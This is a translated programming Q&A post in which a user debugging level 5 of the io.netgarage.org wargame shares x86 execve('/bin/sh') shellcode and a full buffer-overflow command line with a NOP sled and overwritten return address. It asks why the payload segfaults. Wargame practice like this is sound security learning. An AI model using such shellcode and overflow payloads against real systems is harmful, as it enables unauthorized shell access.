Wargame有效负载段故障用作此类

时间:2017-08-25 11:01:46

标签: assembly segmentation-fault exploit

我目前正在尝试完成io.netgarage.org战争游戏的Level5。为了完成它,我写了以下asm有效载荷:

global _start

section .text
_start:
    xor eax, eax
    push eax
    push 0x68732f6e
    push 0x69622f2f
    mov ebx, esp

    push eax
    mov edx, esp

    push ebx
    mov ecx, esp

    mov al, 11
    int 0x80

它应该通过调用sys_execve来生成一个shell,它确实如此。但只有这一点,因为我不会将它用作实际有效载荷 一旦我尝试将其提供给易受攻击的c程序,我就会得到segfaulted。通过使用gdb检查它,我能够将段错误固定到行

mov edx, esp

之前应该发生的一切(覆盖返回地址,NOP-Sled)实际上都是有意义的。

附加信息:
- 我通过使用

编译上面的asm代码来获得OP代码
nasm -f elf32 file.asm -o file.o
objdump -d file.o

- 我这样称之为易受攻击的程序:

/levels/level05 $(python -c 'print "\x90"*115 + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xa0\xfb\xff\xbf"')

- 通过使用gdb检查堆栈的值得到的返回地址0xbffffba0 - 我目前的假设是它必须对堆栈做一些事情,因为使用我在网上找到的脚本,利用jmp-call-pop模式,似乎正常工作

谢谢你,
tarkes

0 个答案:

没有答案